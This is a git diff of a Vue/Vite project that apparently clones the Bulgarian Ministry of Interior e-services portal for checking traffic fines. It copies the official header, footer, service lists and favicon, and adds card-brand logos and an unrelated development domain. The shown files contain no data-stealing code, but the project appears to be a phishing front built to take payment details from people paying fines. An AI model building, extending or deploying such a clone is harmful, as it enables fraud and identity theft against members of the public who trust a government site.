update
5
a11_bg_Fine_kat-obligations/.env
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
# 平台本地运行端口号
|
||||||
|
VITE_PORT = 8848
|
||||||
|
|
||||||
|
# 是否隐藏首页 隐藏 true 不隐藏 false (勿删除,VITE_HIDE_HOME只需在.env文件配置)
|
||||||
|
VITE_HIDE_HOME = false
|
||||||
11
a11_bg_Fine_kat-obligations/.env.development
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
# 平台本地运行端口号
|
||||||
|
VITE_PORT = 8848
|
||||||
|
|
||||||
|
# 开发环境读取配置文件路径
|
||||||
|
VITE_PUBLIC_PATH = ./
|
||||||
|
|
||||||
|
# 网站前缀
|
||||||
|
VITE_BASE_URL = "upc.xx.sczqb6.top"
|
||||||
|
|
||||||
|
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||||
|
VITE_ROUTER_HISTORY = "hash"
|
||||||
16
a11_bg_Fine_kat-obligations/.env.production
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
# 网站前缀
|
||||||
|
VITE_BASE_URL=/
|
||||||
|
|
||||||
|
# 线上环境平台打包路径
|
||||||
|
VITE_PUBLIC_PATH = ./
|
||||||
|
|
||||||
|
# 线上环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||||
|
VITE_ROUTER_HISTORY = "hash"
|
||||||
|
|
||||||
|
# 是否在打包时使用cdn替换本地库 替换 true 不替换 false
|
||||||
|
VITE_CDN = false
|
||||||
|
|
||||||
|
# 是否启用gzip压缩或brotli压缩(分两种情况,删除原始文件和不删除原始文件)
|
||||||
|
# 压缩时不删除原始文件的配置:gzip、brotli、both(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认)
|
||||||
|
# 压缩时删除原始文件的配置:gzip-clear、brotli-clear、both-clear(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认)
|
||||||
|
VITE_COMPRESSION = "none"
|
||||||
25
a11_bg_Fine_kat-obligations/.eslintrc.cjs
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
/* eslint-env node */
|
||||||
|
require('@rushstack/eslint-patch/modern-module-resolution')
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
root: true,
|
||||||
|
'extends': [
|
||||||
|
'plugin:vue/vue3-essential',
|
||||||
|
'eslint:recommended',
|
||||||
|
'@vue/eslint-config-typescript',
|
||||||
|
'@vue/eslint-config-prettier'
|
||||||
|
],
|
||||||
|
overrides: [
|
||||||
|
{
|
||||||
|
files: [
|
||||||
|
'cypress/e2e/**/*.{cy,spec}.{js,ts,jsx,tsx}'
|
||||||
|
],
|
||||||
|
'extends': [
|
||||||
|
'plugin:cypress/recommended'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
parserOptions: {
|
||||||
|
ecmaVersion: 'latest'
|
||||||
|
}
|
||||||
|
}
|
||||||
28
a11_bg_Fine_kat-obligations/.gitignore
vendored
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
# Logs
|
||||||
|
logs
|
||||||
|
*.log
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
lerna-debug.log*
|
||||||
|
|
||||||
|
node_modules
|
||||||
|
.DS_Store
|
||||||
|
dist
|
||||||
|
dist-ssr
|
||||||
|
coverage
|
||||||
|
*.local
|
||||||
|
|
||||||
|
/cypress/videos/
|
||||||
|
/cypress/screenshots/
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/extensions.json
|
||||||
|
.idea
|
||||||
|
*.suo
|
||||||
|
*.ntvs*
|
||||||
|
*.njsproj
|
||||||
|
*.sln
|
||||||
|
*.sw?
|
||||||
1
a11_bg_Fine_kat-obligations/.prettierrc.json
Normal file
@@ -0,0 +1 @@
|
|||||||
|
{}
|
||||||
3
a11_bg_Fine_kat-obligations/.vscode/extensions.json
vendored
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
{
|
||||||
|
"recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"]
|
||||||
|
}
|
||||||
68
a11_bg_Fine_kat-obligations/README.md
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
# vue3-clean-architecture
|
||||||
|
|
||||||
|
This template should help get you started developing with Vue 3 in Vite.
|
||||||
|
|
||||||
|
## Recommended IDE Setup
|
||||||
|
|
||||||
|
[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin).
|
||||||
|
|
||||||
|
## Type Support for `.vue` Imports in TS
|
||||||
|
|
||||||
|
TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types.
|
||||||
|
|
||||||
|
If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps:
|
||||||
|
|
||||||
|
1. Disable the built-in TypeScript Extension
|
||||||
|
1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette
|
||||||
|
2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)`
|
||||||
|
2. Reload the VSCode window by running `Developer: Reload Window` from the command palette.
|
||||||
|
|
||||||
|
## Customize configuration
|
||||||
|
|
||||||
|
See [Vite Configuration Reference](https://vitejs.dev/config/).
|
||||||
|
|
||||||
|
## Project Setup
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm install
|
||||||
|
```
|
||||||
|
|
||||||
|
### Compile and Hot-Reload for Development
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm run dev
|
||||||
|
```
|
||||||
|
|
||||||
|
### Type-Check, Compile and Minify for Production
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm run build
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run Unit Tests with [Vitest](https://vitest.dev/)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm run test:unit
|
||||||
|
```
|
||||||
|
|
||||||
|
### Run End-to-End Tests with [Cypress](https://www.cypress.io/)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm run test:e2e:dev
|
||||||
|
```
|
||||||
|
|
||||||
|
This runs the end-to-end tests against the Vite development server.
|
||||||
|
It is much faster than the production build.
|
||||||
|
|
||||||
|
But it's still recommended to test the production build with `test:e2e` before deploying (e.g. in CI environments):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm run build
|
||||||
|
npm run test:e2e
|
||||||
|
```
|
||||||
|
|
||||||
|
### Lint with [ESLint](https://eslint.org/)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
npm run lint
|
||||||
|
```
|
||||||
8
a11_bg_Fine_kat-obligations/cypress.config.ts
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
import { defineConfig } from 'cypress'
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
e2e: {
|
||||||
|
specPattern: 'cypress/e2e/**/*.{cy,spec}.{js,jsx,ts,tsx}',
|
||||||
|
baseUrl: 'http://localhost:4173'
|
||||||
|
}
|
||||||
|
})
|
||||||
8
a11_bg_Fine_kat-obligations/cypress/e2e/example.cy.ts
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
// https://docs.cypress.io/api/introduction/api.html
|
||||||
|
|
||||||
|
describe('My First Test', () => {
|
||||||
|
it('visits the app root url', () => {
|
||||||
|
cy.visit('/')
|
||||||
|
cy.contains('h1', 'You did it!')
|
||||||
|
})
|
||||||
|
})
|
||||||
10
a11_bg_Fine_kat-obligations/cypress/e2e/tsconfig.json
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
{
|
||||||
|
"extends": "@vue/tsconfig/tsconfig.web.json",
|
||||||
|
"include": ["./**/*", "../support/**/*"],
|
||||||
|
"compilerOptions": {
|
||||||
|
"isolatedModules": false,
|
||||||
|
"target": "es5",
|
||||||
|
"lib": ["es5", "dom"],
|
||||||
|
"types": ["cypress"]
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
{
|
||||||
|
"name": "Using fixtures to represent data",
|
||||||
|
"email": "hello@cypress.io",
|
||||||
|
"body": "Fixtures are a great way to mock data for responses to routes"
|
||||||
|
}
|
||||||
39
a11_bg_Fine_kat-obligations/cypress/support/commands.ts
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
/// <reference types="cypress" />
|
||||||
|
// ***********************************************
|
||||||
|
// This example commands.ts shows you how to
|
||||||
|
// create various custom commands and overwrite
|
||||||
|
// existing commands.
|
||||||
|
//
|
||||||
|
// For more comprehensive examples of custom
|
||||||
|
// commands please read more here:
|
||||||
|
// https://on.cypress.io/custom-commands
|
||||||
|
// ***********************************************
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// -- This is a parent command --
|
||||||
|
// Cypress.Commands.add('login', (email, password) => { ... })
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// -- This is a child command --
|
||||||
|
// Cypress.Commands.add('drag', { prevSubject: 'element'}, (subject, options) => { ... })
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// -- This is a dual command --
|
||||||
|
// Cypress.Commands.add('dismiss', { prevSubject: 'optional'}, (subject, options) => { ... })
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// -- This will overwrite an existing command --
|
||||||
|
// Cypress.Commands.overwrite('visit', (originalFn, url, options) => { ... })
|
||||||
|
//
|
||||||
|
// declare global {
|
||||||
|
// namespace Cypress {
|
||||||
|
// interface Chainable {
|
||||||
|
// login(email: string, password: string): Chainable<void>
|
||||||
|
// drag(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
|
||||||
|
// dismiss(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
|
||||||
|
// visit(originalFn: CommandOriginalFn, url: string, options: Partial<VisitOptions>): Chainable<Element>
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
|
||||||
|
export {}
|
||||||
20
a11_bg_Fine_kat-obligations/cypress/support/e2e.ts
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
// ***********************************************************
|
||||||
|
// This example support/index.js is processed and
|
||||||
|
// loaded automatically before your test files.
|
||||||
|
//
|
||||||
|
// This is a great place to put global configuration and
|
||||||
|
// behavior that modifies Cypress.
|
||||||
|
//
|
||||||
|
// You can change the location of this file or turn off
|
||||||
|
// automatically serving support files with the
|
||||||
|
// 'supportFile' configuration option.
|
||||||
|
//
|
||||||
|
// You can read more here:
|
||||||
|
// https://on.cypress.io/configuration
|
||||||
|
// ***********************************************************
|
||||||
|
|
||||||
|
// Import commands.js using ES2015 syntax:
|
||||||
|
import './commands'
|
||||||
|
|
||||||
|
// Alternatively you can use CommonJS syntax:
|
||||||
|
// require('./commands')
|
||||||
4
a11_bg_Fine_kat-obligations/env.d.ts
vendored
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
/// <reference types="vite/client" />
|
||||||
|
interface ImportMetaEnv {
|
||||||
|
VITE_BASE_URL: string;
|
||||||
|
}
|
||||||
22
a11_bg_Fine_kat-obligations/index.html
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="bg">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<base href="/">
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<link rel="icon" href="/Static_zy/favicon.ico">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
|
||||||
|
<title>Портал за електронни административни услуги</title>
|
||||||
|
<link href="/Static_zy/static/css/8.030ce7f4.chunk.css" rel="stylesheet">
|
||||||
|
<link href="/Static_zy/static/css/main.530438f8.chunk.css" rel="stylesheet">
|
||||||
|
</head>
|
||||||
|
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div id="app"></div>
|
||||||
|
<script type="module" src="/src/main.ts"></script>
|
||||||
|
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
8839
a11_bg_Fine_kat-obligations/package-lock.json
generated
Normal file
58
a11_bg_Fine_kat-obligations/package.json
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
{
|
||||||
|
"name": "vue3-clean-architecture",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"dev": "vite",
|
||||||
|
"build": "run-p type-check build-only",
|
||||||
|
"preview": "vite preview",
|
||||||
|
"test:unit": "vitest --environment jsdom --root src/",
|
||||||
|
"test:e2e": "start-server-and-test preview :4173 'cypress run --e2e'",
|
||||||
|
"test:e2e:dev": "start-server-and-test 'vite dev --port 4173' :4173 'cypress open --e2e'",
|
||||||
|
"build-only": "vite build",
|
||||||
|
"type-check": "vue-tsc --noEmit -p tsconfig.vitest.json --composite false",
|
||||||
|
"lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore",
|
||||||
|
"zip": "node zip.js",
|
||||||
|
"prod": "pnpm run build && pnpm run zip"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@types/lodash": "^4.17.12",
|
||||||
|
"axios": "^1.7.7",
|
||||||
|
"bootstrap": "^5.3.3",
|
||||||
|
"install": "^0.13.0",
|
||||||
|
"lodash": "^4.17.21",
|
||||||
|
"mitt": "^3.0.1",
|
||||||
|
"pinia": "^2.2.2",
|
||||||
|
"socket.io-client": "^4.8.1",
|
||||||
|
"uuid": "^13.0.0",
|
||||||
|
"vue": "^3.2.45",
|
||||||
|
"vue-i18n": "^10.0.4",
|
||||||
|
"vue-router": "^4.1.6",
|
||||||
|
"vue-scrollto": "^2.20.0",
|
||||||
|
"ws": "^8.18.0"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@rushstack/eslint-patch": "^1.1.4",
|
||||||
|
"@types/jsdom": "^20.0.1",
|
||||||
|
"@types/node": "^18.11.12",
|
||||||
|
"@types/uuid": "^11.0.0",
|
||||||
|
"@vitejs/plugin-vue": "^4.0.0",
|
||||||
|
"@vue/eslint-config-prettier": "^7.0.0",
|
||||||
|
"@vue/eslint-config-typescript": "^11.0.0",
|
||||||
|
"@vue/test-utils": "^2.2.6",
|
||||||
|
"@vue/tsconfig": "^0.1.3",
|
||||||
|
"archiver": "^7.0.1",
|
||||||
|
"cypress": "^12.0.2",
|
||||||
|
"eslint": "^8.22.0",
|
||||||
|
"eslint-plugin-cypress": "^2.12.1",
|
||||||
|
"eslint-plugin-vue": "^9.3.0",
|
||||||
|
"jsdom": "^20.0.3",
|
||||||
|
"npm-run-all": "^4.1.5",
|
||||||
|
"prettier": "^2.7.1",
|
||||||
|
"start-server-and-test": "^1.15.2",
|
||||||
|
"typescript": "~4.7.4",
|
||||||
|
"vite": "^4.0.0",
|
||||||
|
"vitest": "^0.25.6",
|
||||||
|
"vue-tsc": "^1.0.12"
|
||||||
|
}
|
||||||
|
}
|
||||||
5271
a11_bg_Fine_kat-obligations/pnpm-lock.yaml
generated
Normal file
BIN
a11_bg_Fine_kat-obligations/public/Static_zy/BlBINWkv.jpg
Normal file
|
After Width: | Height: | Size: 141 KiB |
|
After Width: | Height: | Size: 295 KiB |
BIN
a11_bg_Fine_kat-obligations/public/Static_zy/amex.png
Normal file
|
After Width: | Height: | Size: 759 B |
@@ -0,0 +1 @@
|
|||||||
|
[{"languageID":1,"code":"bg","name":"български език","isActive":true,"isDefault":true},{"languageID":2,"code":"en","name":"English","isActive":true,"isDefault":false},{"languageID":3,"code":"fr","name":"French","isActive":false,"isDefault":false}]
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
[{"groupID":309,"isTranslated":false,"name":"Проверка на задължения по фиш, НП или споразумение по направления \"Пътна полиция\" и \"Български документи за самоличност\"","orderNumber":99,"iconName":"icon-service-pay.svg","isActive":true,"languageCode":"bg","updatedOn":"2023-10-19T10:00:38.706+03:00"},{"groupID":297,"isTranslated":false,"name":"По направление на дейност \"Пътна полиция\"","orderNumber":100,"iconName":"icon-service-pp.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:16:41.687+02:00"},{"groupID":296,"isTranslated":false,"name":"По направление на дейност ''Български документи за самоличност''","orderNumber":200,"iconName":"icon-service-bds.svg","isActive":true,"languageCode":"bg","updatedOn":"2020-11-20T16:16:46.357+02:00"},{"groupID":300,"isTranslated":false,"name":"По направление на дейност \"Контрол на общоопасните средства\"","orderNumber":300,"iconName":"icon-service-kos.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:16:58.827+02:00"},{"groupID":301,"isTranslated":false,"name":"По направление на дейност \"Миграция\"","orderNumber":400,"iconName":"icon-service-m.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:17:12.356+02:00"},{"groupID":299,"isTranslated":false,"name":"По направление на дейност \"Пожарна безопасност и защита на населението\"","orderNumber":500,"iconName":"icon-service-pb.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:17:22.661+02:00"},{"groupID":298,"isTranslated":false,"name":"По направление на дейност \"Частна охранителна дейност\"","orderNumber":600,"iconName":"icon-service-chod.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:17:30.795+02:00"}]
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
No Content: https://e-uslugi.mvr.bg/api/Users/current
|
||||||
1
a11_bg_Fine_kat-obligations/public/Static_zy/default.svg
Normal file
@@ -0,0 +1 @@
|
|||||||
|
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>
|
||||||
|
After Width: | Height: | Size: 300 B |
BIN
a11_bg_Fine_kat-obligations/public/Static_zy/favicon.ico
Normal file
|
After Width: | Height: | Size: 34 KiB |
69
a11_bg_Fine_kat-obligations/public/Static_zy/footer.html
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
<div id="react-app" class="layout-wrapper">
|
||||||
|
<div class="footer-wrapper">
|
||||||
|
<footer class="footer" style="pointer-events: none;">
|
||||||
|
<div class="footer-containter-bg">
|
||||||
|
<div class="footer-links-container fixed-content-width">
|
||||||
|
<ul>
|
||||||
|
<li class="footer-link"><a href="/news">Новини</a></li>
|
||||||
|
<li class="footer-link"><a href="/test_sign">Тестово подписване</a></li>
|
||||||
|
<li class="footer-link"><a href="/services/PreviewDocument">Преглед на е-документи</a></li>
|
||||||
|
</ul>
|
||||||
|
<ul>
|
||||||
|
<li class="footer-link"><a href="/privacy_policy">Политика за защита на личните данни</a></li>
|
||||||
|
<li class="footer-link"><a href="/accessibility_policy">Политика за достъпност</a></li>
|
||||||
|
<li class="footer-link"><a href="/security_policy">Средства за автентикация</a></li>
|
||||||
|
</ul>
|
||||||
|
<ul>
|
||||||
|
<li class="footer-link"><a href="/term_of_use">Условия за ползване</a></li>
|
||||||
|
<li class="footer-link"><a href="/cookies">Бисквитки</a></li>
|
||||||
|
<li class="footer-link"><a href="/site-map">Карта на сайта</a></li>
|
||||||
|
</ul>
|
||||||
|
<ul>
|
||||||
|
<li class="footer-link"><button type="button" class="btn btn-link"
|
||||||
|
title="Страницата се отваря в нов таб на браузъра.">Помощ</button></li>
|
||||||
|
<li class="footer-link"><a href="/video_lessons">Видео уроци</a></li>
|
||||||
|
<li class="footer-link"><a href="/contacts">Контакти</a></li>
|
||||||
|
</ul><button accesskey="0" tabindex="-1" type="button" class="btn btn-link skip-to-content"
|
||||||
|
title="Бърз достъп">0 - Функции за достъп</button><button accesskey="1" tabindex="-1" type="button"
|
||||||
|
class="btn btn-link skip-to-content"
|
||||||
|
title="Страницата се отваря в нов таб на браузъра.">1-Помощ</button><button accesskey="2" tabindex="-1"
|
||||||
|
type="button" class="btn btn-link skip-to-content" title="Бърз достъп">2 - Вход</button><button
|
||||||
|
accesskey="3" tabindex="-1" type="button" class="btn btn-link skip-to-content" title="Бърз достъп">3 -
|
||||||
|
Услуги</button><button accesskey="4" tabindex="-1" type="button" class="btn btn-link skip-to-content"
|
||||||
|
title="Бърз достъп">4 - Моите е-услуги</button><button accesskey="5" tabindex="-1" type="button"
|
||||||
|
class="btn btn-link skip-to-content" title="Бърз достъп">5 - Контакти</button><button accesskey="6"
|
||||||
|
tabindex="-1" type="button" class="btn btn-link skip-to-content" title="Бърз достъп">6 - Политика за защита
|
||||||
|
на личните данни</button><button accesskey="7" tabindex="-1" type="button"
|
||||||
|
class="btn btn-link skip-to-content" title="Бърз достъп">7 - Карта на сайта</button>
|
||||||
|
<div class="fixed-content-width">
|
||||||
|
<div class="software-version">Версия: 1.0.4.19</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row footer-containter fixed-content-width">
|
||||||
|
<div class="col-sm-8 order-sm-2">
|
||||||
|
<p class="footer-text">Порталът за електронни административни услуги на МВР е развит в рамките на проект №
|
||||||
|
BG05SFOP001-1.029-0001 "Разработване на електронни административни услуги и внедряване на допълнителни
|
||||||
|
функционалности в автоматизирани информационни системи на МВР", с финансовата подкрепа на ОПДУ 2014-2020 и
|
||||||
|
съфинансиран от Европейския съюз чрез ЕСФ.</p>
|
||||||
|
</div>
|
||||||
|
<div class="col-6 col-sm-2 order-sm-1 text-center text-sm-left"><img class=""
|
||||||
|
src="/Static_zy/static/media/footer-logo-eu.9801837e.svg" alt=""></div>
|
||||||
|
<div class="col-6 col-sm-2 order-sm-3 text-center text-sm-right"><img class=""
|
||||||
|
src="/Static_zy/static/media/footer-logo-opdu.aea19908.svg" alt=""></div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
</div>
|
||||||
|
<aside id="cookieInfo" class="cookie-info d-none">
|
||||||
|
<div class="fixed-content-width">
|
||||||
|
<h5>Използване на бисквитки</h5>
|
||||||
|
<p>Този сайт използва "бисквитки" с цел по-добро обслужване на своите посетители. За повече информация, моля да се
|
||||||
|
запознаете с пълната информация за <a class="text-white" href="/cookies"><b>Бисквитки</b></a></p>
|
||||||
|
<div class="button-bar">
|
||||||
|
<div class="right-side"><button type="button" class="btn btn-outline-light" id="COOKIE_ACCEPT">Приеми</button>
|
||||||
|
</div>
|
||||||
|
<div class="left-side"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</aside>
|
||||||
|
</div>
|
||||||
85
a11_bg_Fine_kat-obligations/public/Static_zy/header.html
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
<div id="react-app" class="layout-wrapper" style="pointer-events: none;">
|
||||||
|
<div class="header-wrapper">
|
||||||
|
<div class="skip-link"><a href="#PAGE-CONTENT" class="skip-to-content" data-anchor="PAGE-CONTENT">Пропусни основната
|
||||||
|
навигация</a></div>
|
||||||
|
<header class="header">
|
||||||
|
<div class="header-bg">
|
||||||
|
<div class="section-wrapper fixed-content-width header-gerb-bg">
|
||||||
|
<div class="row header-container">
|
||||||
|
<div class="col-auto"><img class="mvr-logo" src="/Static_zy/static/media/logo.1aabeecd.png" alt=""></div>
|
||||||
|
<div class="col header-title">
|
||||||
|
<p>Република България<br><strong>Министерство на вътрешните работи</strong></p>
|
||||||
|
<p class="site-name">Портал за електронни административни услуги на МВР</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
<nav class="navbar-top" aria-label="Основна навигация">
|
||||||
|
<div class="navbar-top-container fixed-content-width">
|
||||||
|
<div class="navbar-top-menu d-lg-none"><button class="navbar-top-item" aria-expanded="false" type="button"
|
||||||
|
title="Покажи всички елементи в навигациятa"><i class="ui-icon nav-icon-menu" aria-hidden="true"></i><span
|
||||||
|
class="d-none">Покажи всички елементи в навигациятa</span></button></div>
|
||||||
|
<div class="navbar-top-container--mobile collapse">
|
||||||
|
<ul class="navbar-top-container-left">
|
||||||
|
<li><a aria-current="page" class="navbar-top-item active" href="/services">Услуги</a></li>
|
||||||
|
<li><button type="button" class="navbar-top-item"
|
||||||
|
title="Страницата се отваря в нов таб на браузъра.">Помощ</button></li>
|
||||||
|
<li><a class="navbar-top-item" href="/contacts">Контакти</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<ul class="navbar-top-container-right">
|
||||||
|
<li><a class="navbar-top-item" href="/search"><span title="Търсене"><i class="ui-icon nav-icon-search mr-0"
|
||||||
|
aria-hidden="true"></i><span class="sr-only">Търси</span></span></a></li>
|
||||||
|
<li>
|
||||||
|
<div class="dropdown"><button aria-controls="dropdownMenuUserMenu" id="dropdownMenuUser" type="button"
|
||||||
|
data-boundary="window" aria-haspopup="true" class="navbar-top-item dropdown-toggle"
|
||||||
|
aria-expanded="false"><span title="Потребители"><i class="ui-icon nav-icon-user mr-0 mr-sm-1"
|
||||||
|
aria-hidden="true"></i><span class="d-none d-sm-inline-block">Потребители</span></span></button>
|
||||||
|
<div tabindex="-1" role="menu" aria-labelledby="dropdownMenuUser" id="dropdownMenuUserMenu"
|
||||||
|
aria-hidden="true" class="dropdown-menu"><a href="#" tabindex="0" role="menuitem"
|
||||||
|
class="dropdown-item">Вход</a><a tabindex="0" role="menuitem" class="dropdown-item"
|
||||||
|
href="/users/resetPassword">Забравена парола</a><a tabindex="0" role="menuitem" class="dropdown-item"
|
||||||
|
href="/users/registration">Регистрация</a></div>
|
||||||
|
<form name="__loginForm" action="api/Users/Login" method="post"></form>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<div class="dropdown"><button id="dropdownMenuAccessibility" aria-controls="dropdownMenuAccessibilityMenu"
|
||||||
|
type="button" data-boundary="window" aria-haspopup="true" class="navbar-top-item dropdown-toggle"
|
||||||
|
aria-expanded="false"><span title="Достъпност"><i class="ui-icon nav-icon-accessibility"
|
||||||
|
aria-hidden="true"></i><span class="sr-only">Достъпност</span></span></button>
|
||||||
|
<div tabindex="-1" role="menu" id="dropdownMenuAccessibilityMenu"
|
||||||
|
aria-labelledby="dropdownMenuAccessibility" aria-hidden="true" class="dropdown-menu"><a tabindex="0"
|
||||||
|
role="menuitem" class="dropdown-item" href="/access_function">Функции за достъп</a><button
|
||||||
|
type="button" tabindex="0" role="menuitem" class="dropdown-item">Текстова версия</button></div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<div class="dropdown"><button id="dropdownMenuLanguage" aria-controls="dropdownMenuLanguageMenu"
|
||||||
|
type="button" aria-haspopup="true" class="navbar-top-item dropdown-toggle" aria-expanded="false"><span
|
||||||
|
title="Избор на език"><i class="ui-icon nav-icon-globe mr-1" aria-hidden="true"></i><span
|
||||||
|
class="sr-only">Избор на език</span><span aria-hidden="true">bg</span></span></button>
|
||||||
|
<div tabindex="-1" role="menu" id="dropdownMenuLanguageMenu" aria-labelledby="dropdownMenuLanguage"
|
||||||
|
aria-hidden="true" class="dropdown-menu"><button type="button" aria-current="true" tabindex="0"
|
||||||
|
role="menuitem" class="dropdown-item active">български език</button><button type="button"
|
||||||
|
data-lang="en" tabindex="0" role="menuitem" class="dropdown-item">English</button></div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li class="navbar-top-font-size d-none d-md-inline">
|
||||||
|
<div class="navbar-top-item"><button type="button"><span title="Намали шрифта"><i
|
||||||
|
class="ui-icon nav-icon-font-minus" aria-hidden="true"></i><span class="sr-only">Намали
|
||||||
|
шрифта</span></span></button><button type="button"><span title="Нормален шрифт"><i
|
||||||
|
class="ui-icon nav-icon-font" aria-hidden="true"></i><span class="sr-only">Нормален
|
||||||
|
шрифт</span></span></button><button type="button"><span title="Увеличи шрифта"><i
|
||||||
|
class="ui-icon nav-icon-font-plus" aria-hidden="true"></i><span class="sr-only">Увеличи
|
||||||
|
шрифта</span></span></button></div>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
<div id="topcontrol" class="scroll-to-top" title="Към началото на страницата"
|
||||||
|
style="position: fixed; bottom: 15px; right: 15px; display: none;"><i class="ui-icon ui-icon-scroll-to-top"></i>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
BIN
a11_bg_Fine_kat-obligations/public/Static_zy/headerd.jpg
Normal file
|
After Width: | Height: | Size: 16 KiB |
BIN
a11_bg_Fine_kat-obligations/public/Static_zy/mastercard.png
Normal file
|
After Width: | Height: | Size: 747 B |
|
After Width: | Height: | Size: 31 KiB |
@@ -0,0 +1 @@
|
|||||||
|
